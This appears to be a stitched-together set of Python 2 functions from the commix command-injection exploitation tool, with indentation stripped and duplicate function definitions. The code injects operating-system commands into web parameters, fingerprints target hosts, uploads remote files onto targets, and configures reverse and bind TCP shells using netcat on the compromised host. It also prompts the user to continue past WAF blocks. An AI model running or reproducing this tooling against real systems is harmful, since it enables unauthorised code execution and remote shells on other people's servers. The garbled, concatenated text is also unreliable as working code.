def server_identification(server_banner):
found_server_banner = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target server... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
for i in range(0,len(settings.SERVER_BANNERS)):
match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower())
if match:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
if settings.VERBOSITY_LEVEL >= 1:
success_msg = "The target server was identified as "
success_msg += server_banner + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
settings.SERVER_BANNER = match.group(0)
found_server_banner = True
# Set up default root paths
if "apache" in settings.SERVER_BANNER.lower():
if settings.TARGET_OS == "win":
settings.WEB_ROOT = "\\htdocs"
else:
settings.WEB_ROOT = "/var/www"
elif "nginx" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = "/usr/share/nginx"
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = "\\inetpub\\wwwroot"
break
else:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "The server which was identified as '"
warn_msg += server_banner + "' seems unknown."
print settings.print_warning_msg(warn_msg)
def is_empty(multi_parameters, http_request_method):
provided_value = []
multi_params = [s for s in multi_parameters]
for empty in multi_params:
try:
if settings.IS_JSON:
if re.findall(r'\:\"(.*)\"', empty)[0] == "":
provided_value.append(re.findall(r'\"(.*)\"\:\"', empty)[0])
elif settings.IS_XML:
if re.findall(r'>(.*)<', empty)[0] == "" or \
re.findall(r'>(.*)<', empty)[0] == " ":
provided_value.append(re.findall(r'</(.*)>', empty)[0])
elif len(empty.split("=")[1]) == 0:
provided_value.append(empty.split("=")[0])
except IndexError:
if not settings.IS_XML:
err_msg = "No parameter(s) found for testing in the provided data."
print settings.print_critical_msg(err_msg)
raise SystemExit()
provided_value = ", ".join(provided_value)
if len(provided_value) > 0:
if menu.options.skip_empty and len(multi_parameters) > 1:
skip_empty(provided_value, http_request_method)
else:
warn_msg = "The provided value"+ "s"[len(provided_value.split(",")) == 1:][::-1]
warn_msg += " for "+ http_request_method + " parameter" + "s"[len(provided_value.split(",")) == 1:][::-1]
warn_msg += " '" + provided_value + "'"
warn_msg += (' are ', ' is ')[len(provided_value.split(",")) == 1] + "empty. "
warn_msg += "Use valid "
warn_msg += "values to run properly."
print settings.print_warning_msg(warn_msg)
return True
def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
if os_shell_option == False:
if no_result == True:
return False
else:
return True
# The "back" option
elif os_shell_option == "back":
go_back = True
return go_back, go_back_again
# The "os_shell" option
elif os_shell_option == "os_shell":
warn_msg = "You are already into the '" + os_shell_option + "' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
# The "bind_tcp" option
elif os_shell_option == "bind_tcp":
go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
# The "reverse_tcp" option
elif os_shell_option == "reverse_tcp":
go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
# The "quit" option
elif os_shell_option == "quit":
raise SystemExit()
def check_for_update():
try:
response = urllib2.urlopen('https://raw.githubusercontent.com/stasinopoulos/commix/master/src/utils/settings.py')
version_check = response.readlines()
for line in version_check:
line = line.rstrip()
if "VERSION = " in line:
update_version = line.replace("VERSION = ", "").replace("\"", "")
break
if float(settings.VERSION.replace(".","")) < float(update_version.replace(".","")):
warn_msg = "Current version seems to be out-of-date."
print settings.print_warning_msg(warn_msg)
while True:
question_msg = "Do you want to update to the latest version now? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
do_update = sys.stdin.readline().replace("\n","").lower()
if do_update in settings.CHOICE_YES:
updater()
os._exit(0)
elif do_update in settings.CHOICE_NO:
break
else:
if do_update == "":
do_update = "enter"
err_msg = "'" + do_update + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except:
print ""
pass
# eof
def continue_tests(err):
# If defined "--ignore-401" option, ignores HTTP Error 401 (Unauthorized)
# and continues tests without providing valid credentials.
if menu.options.ignore_401:
settings.WAF_ENABLED = True
return True
# Possible WAF/IPS/IDS
if (str(err.code) == "403" or "406") and \
not menu.options.skip_waf:
# Check if "--skip-waf" option is defined
# that skips heuristic detection of WAF/IPS/IDS protection.
settings.WAF_ENABLED = True
warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS."
print settings.print_warning_msg(warn_msg)
try:
while True:
question_msg = "Do you want to ignore the error (" + str(err.code)
question_msg += ") message and continue the tests? [Y/n/q] > "
continue_tests = raw_input(settings.print_question_msg(question_msg)).lower()
if continue_tests in settings.CHOICE_YES:
return True
elif continue_tests in settings.CHOICE_NO:
return False
elif continue_tests in settings.CHOICE_QUIT:
return False
else:
if continue_tests == "":
continue_tests = "enter"
err_msg = "'" + continue_tests + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
except KeyboardInterrupt:
print "\n" + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL
raise SystemExit()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
#Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
ps_version = cb_injector.injection_results(response, TAG, cmd)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
try:
if float(ps_version):
settings.PS_ENABLED = True
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Output PowerShell's version number
success_msg = "The PowerShell's version number is "
success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The PowerShell's version number is " + ps_version + ".\n"
output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify PowerShell's version, "
warn_msg += "which means that some payloads or injection techniques may be failed."
print settings.print_warning_msg(warn_msg)
settings.PS_ENABLED = False
checks.ps_check_failed()
def ps_check():
if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords:
if settings.VERBOSITY_LEVEL >= 1:
print ""
warn_msg = "The payloads in some options that you "
warn_msg += "have chosen, are requiring the use of PowerShell. "
print settings.print_warning_msg(warn_msg)
while True:
question_msg = "Do you want to use the \"--ps-version\" option "
question_msg += "so ensure that PowerShell is enabled? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
ps_check = sys.stdin.readline().replace("\n","").lower()
if ps_check in settings.CHOICE_YES:
menu.options.ps_version = True
break
elif ps_check in settings.CHOICE_NO:
break
elif ps_check in settings.CHOICE_QUIT:
print ""
os._exit(0)
else:
if ps_check == "":
ps_check = "enter"
err_msg = "'" + ps_check + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
if shell:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print ""
success_msg = "The hostname is " + shell
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print settings.print_warning_msg(warn_msg)
def warning_detection(url, http_request_method):
try:
# Find the host part
url_part = url.split("=")[0]
request = urllib2.Request(url_part)
# Check if defined extra headers.
headers.do_check(request)
response = requests.get_request_response(request)
if response:
response = urllib2.urlopen(request)
html_data = response.read()
err_msg = ""
if "eval()'d code" in html_data:
err_msg = "'eval()'"
if "Cannot execute a blank command in" in html_data:
err_msg = "execution of a blank command,"
if "sh: command substitution:" in html_data:
err_msg = "command substitution"
if "Warning: usort()" in html_data:
err_msg = "'usort()'"
if re.findall(r"=/(.*)/&", url):
if "Warning: preg_replace():" in html_data:
err_msg = "'preg_replace()'"
url = url.replace("/&","/e&")
if "Warning: assert():" in html_data:
err_msg = "'assert()'"
if "Failure evaluating code:" in html_data:
err_msg = "code evaluation"
if err_msg != "":
warn_msg = "A failure message on " + err_msg + " was detected on page's response."
print settings.print_warning_msg(warn_msg)
return url
except urllib2.HTTPError, err_msg:
print settings.print_critical_msg(err_msg)
raise SystemExit()
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
shell = "".join(str(p) for p in shell)
success_msg = "The hostname is " + shell
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print settings.print_warning_msg(warn_msg)
def exploitation(url, delay, filename, http_request_method, url_time_response):
if url_time_response >= settings.SLOW_TARGET_RESPONSE:
warn_msg = "It is highly recommended, due to serious response delays, "
warn_msg += "to skip the time-based (blind) technique and to continue "
warn_msg += "with the file-based (semiblind) technique."
print settings.print_warning_msg(warn_msg)
go_back = False
while True:
if go_back == True:
return False
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = raw_input(settings.print_question_msg(question_msg)).lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
from src.core.injections.semiblind.techniques.file_based import fb_handler
fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
elif proceed_option.lower() == "c":
if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False:
return False
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
else:
if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False:
return False
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_arch:
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print settings.print_warning_msg(warn_msg)
def application_identification(server_banner, url):
found_application_extension = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target application ... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
root, application_extension = splitext(urlparse(url).path)
settings.TARGET_APPLICATION = application_extension[1:].upper()
if settings.TARGET_APPLICATION:
found_application_extension = True
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
success_msg = "The target application was identified as "
success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
# Check for unsupported target applications
for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if not found_application_extension:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "Heuristics have failed to identify target application."
print settings.print_warning_msg(warn_msg)
def injection_proccess(url, check_parameter, http_request_method, filename, delay):
# User-Agent Injection / Referer Injection / Custom header Injection
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header "
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
else:
header_name = ""
the_type = " parameter "
check_parameter = " '" + check_parameter + "'"
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
if not settings.LOAD_SESSION:
info_msg = "Setting the " + "(" + http_request_method
info_msg += ")" + check_parameter + header_name + the_type + "for tests."
print settings.print_info_msg(info_msg)
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay)
# Check if it is vulnerable to classic command injection technique.
if not menu.options.tech or "c" in menu.options.tech:
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
settings.CLASSIC_STATE = True
else:
settings.CLASSIC_STATE = False
# Check if it is vulnerable to eval-based code injection technique.
if not menu.options.tech or "e" in menu.options.tech:
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
settings.EVAL_BASED_STATE = True
else:
settings.EVAL_BASED_STATE = False
# Check if it is vulnerable to time-based blind command injection technique.
if not menu.options.tech or "t" in menu.options.tech:
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
settings.TIME_BASED_STATE = True
else:
settings.TIME_BASED_STATE = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if not menu.options.tech or "f" in menu.options.tech:
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
settings.FILE_BASED_STATE = True
else:
settings.FILE_BASED_STATE = False
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
warn_msg = "The tested (" + http_request_method + ")"
warn_msg += check_parameter + header_name + the_type
warn_msg += "seems to be not injectable."
print settings.print_warning_msg(warn_msg)
def check_whitespaces():
if settings.WHITESPACE[0] != "%20" and settings.WHITESPACE[0] != urllib.unquote("%20"):
warn_msg = "Whitespaces are important for time-relative techniques, "
warn_msg += "thus whitespace characters had been reset to default."
print settings.print_warning_msg(warn_msg)
if settings.WHITESPACE[0] != urllib.unquote("%20"):
whitespace = " "
return whitespace
def load_cmd_history():
try:
cli_history = os.path.expanduser(settings.CLI_HISTORY)
if os.path.exists(cli_history):
readline.read_history_file(cli_history)
except (IOError, AttributeError) as e:
warn_msg = "There was a problem loading the history file '" + cli_history + "'."
print settings.print_warning_msg(warn_msg)
def configure_reverse_tcp(separator):
# Set up LHOST for the reverse TCP connection
while True:
option = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
if option.lower() == "reverse_tcp":
warn_msg = "You are already into the '" + option.lower() + "' mode."
print settings.print_warning_msg(warn_msg)
continue
if option.lower() == "?":
menu.reverse_tcp_options()
continue
if option.lower() == "quit":
raise SystemExit()
elif option.lower() == "os_shell" or option.lower() == "back":
settings.REVERSE_TCP = False
break
elif option.lower() == "bind_tcp":
settings.BIND_TCP = True
settings.REVERSE_TCP = False
break
elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0:
break
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "lhost ":
if check_lhost(option[10:]):
if len(settings.LPORT) == 0:
pass
else:
break
else:
continue
elif option[4:10].lower() == "rhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option."
print settings.print_error_msg(err_msg)
continue
elif option[4:10].lower() == "lport ":
if check_lport(option[10:]):
if len(settings.LHOST) == 0:
pass
else:
break
else:
continue
elif option[4:12].lower() == "srvport ":
check_srvport(option[12:])
elif option[4:12].lower() == "uripath ":
check_uripath(option[12:])
else:
err_msg = "The '" + option + "' option, is not valid."
print settings.print_error_msg(err_msg)
pass
else:
err_msg = "The '" + option + "' option, is not valid."
print settings.print_error_msg(err_msg)
pass
# eof
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_os = output
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print ""
if target_os:
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
sys.stdout.write("")
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
if target_arch:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print ""
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print settings.print_warning_msg(warn_msg)
def no_readline_module():
warn_msg = "It seems that your platform does "
warn_msg += "not have GNU 'readline' module installed."
warn_msg += " For tab-completion support in your shell, download the"
if settings.IS_WINDOWS:
warn_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline).\n"
else:
warn_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline).\n"
print settings.print_warning_msg(warn_msg)
def skip_empty(provided_value, http_request_method):
warn_msg = "The " + http_request_method + " "
warn_msg += "parameter" + "s"[len(provided_value.split(",")) == 1:][::-1]
warn_msg += " '" + provided_value + "'"
warn_msg += (' have ', ' has ')[len(provided_value.split(",")) == 1]
warn_msg += "been skipped from testing"
warn_msg += " (the provided value" + "s"[len(provided_value.split(",")) == 1:][::-1]
warn_msg += (' are ', ' is ')[len(provided_value.split(",")) == 1] + "empty). "
print settings.print_warning_msg(warn_msg)
def create_github_issue(err_msg, exc_msg):
key = hashlib.md5(exc_msg).hexdigest()[:8]
while True:
try:
if not menu.options.batch:
question_msg = "Do you want to automatically create a new (anonymized) issue "
question_msg += "with the unhandled exception information at "
question_msg += "the official Github repository? [y/N] "
sys.stdout.write(settings.print_question_msg(question_msg))
choise = sys.stdin.readline().replace("\n","").lower()
else:
choise = ""
if len(choise) == 0:
choise = "n"
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
print ""
return
else:
err_msg = "'" + choise + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except:
print "\n"
raise SystemExit()
err_msg = err_msg[err_msg.find("\n"):]
req = urllib2.Request(url="https://api.github.com/search/issues?q=" + \
urllib.quote("repo:commixproject/commix" + " " + "Unhandled exception (#" + str(key) + ")")
)
try:
content = urllib2.urlopen(req).read()
_ = json.loads(content)
duplicate = _["total_count"] > 0
closed = duplicate and _["items"][0]["state"] == "closed"
if duplicate:
warn_msg = "That issue seems to be already reported"
if closed:
warn_msg += " and resolved. Please update to the latest "
warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'"
warn_msg += ".\n"
print settings.print_warning_msg(warn_msg)
return
except:
pass
data = {"title": "Unhandled exception (#" + str(key) + ")", "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"}
req = urllib2.Request(url="https://api.github.com/repos/commixproject/commix/issues", data=json.dumps(data), headers={"Authorization": "token " + str(settings.GITHUB_REPORT_OAUTH_TOKEN.decode("base64"))})
try:
content = urllib2.urlopen(req).read()
except Exception, err:
content = None
def do_cookie_check(cookie):
multi_parameters = cookie.split(settings.COOKIE_DELIMITER)
# Check if single paramerter is supplied.
if len(multi_parameters) == 1:
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in cookie:
#Grab the value of parameter.
value = re.findall(r'=(.*)', cookie)
value = ''.join(value)
# Replace the value of parameter with INJECT tag
inject_value = value.replace(value, settings.INJECT_TAG)
cookie = cookie.replace(value, inject_value)
return cookie
# Check if multiple paramerters are supplied.
else:
cookies_list = []
all_params = settings.COOKIE_DELIMITER.join(multi_parameters)
all_params = all_params.split(settings.COOKIE_DELIMITER)
# Check if not defined the "INJECT_HERE" tag in parameter
if settings.INJECT_TAG not in cookie:
for param in range(0, len(all_params)):
if param == 0 :
old = re.findall(r'=(.*)', all_params[param])
old = ''.join(old)
else :
old = value
# Grab the value of cookie.
value = re.findall(r'=(.*)', all_params[param])
value = ''.join(value)
if not value == "":
# Replace the value of cookie with INJECT tag
inject_value = value.replace(value, settings.INJECT_TAG)
all_params[param] = all_params[param].replace(value, inject_value)
all_params[param-1] = all_params[param-1].replace(inject_value, old)
cookie = settings.COOKIE_DELIMITER.join(all_params)
cookies_list.append(cookie)
cookie = cookies_list
else:
provided_value = re.findall(r'(.*)=', all_params[param])
provided_value = ''.join(provided_value)
warn_msg = "The '" + provided_value
warn_msg += "' parameter has been skipped from testing because the provided value is empty."
print settings.print_warning_msg(warn_msg)
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
value = re.findall(r'=(.*)', multi_parameters[param])
value = ''.join(value)
cookie = settings.COOKIE_DELIMITER.join(multi_parameters)
return cookie
def sitemap(url):
try:
href_list = []
if not url.endswith(".xml"):
url = urlparse.urljoin(url, "/sitemap.xml")
soup = request(url)
for match in soup.findAll("loc"):
href_list.append(match.text)
except:
warn_msg = "The 'sitemap.xml' not found."
print settings.print_warning_msg(warn_msg)
return href_list
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if shell:
success_msg = "The '" + Style.UNDERLINE + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + "' file was uploaded successfully!"
sys.stdout.write("\n" + settings.print_success_msg(success_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def netcat_version():
# Netcat alternatives
NETCAT_ALTERNATIVES = [
"/bin/nc",
"/bin/busybox nc",
"/bin/nc.traditional"
]
while True:
nc_version = raw_input("""
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
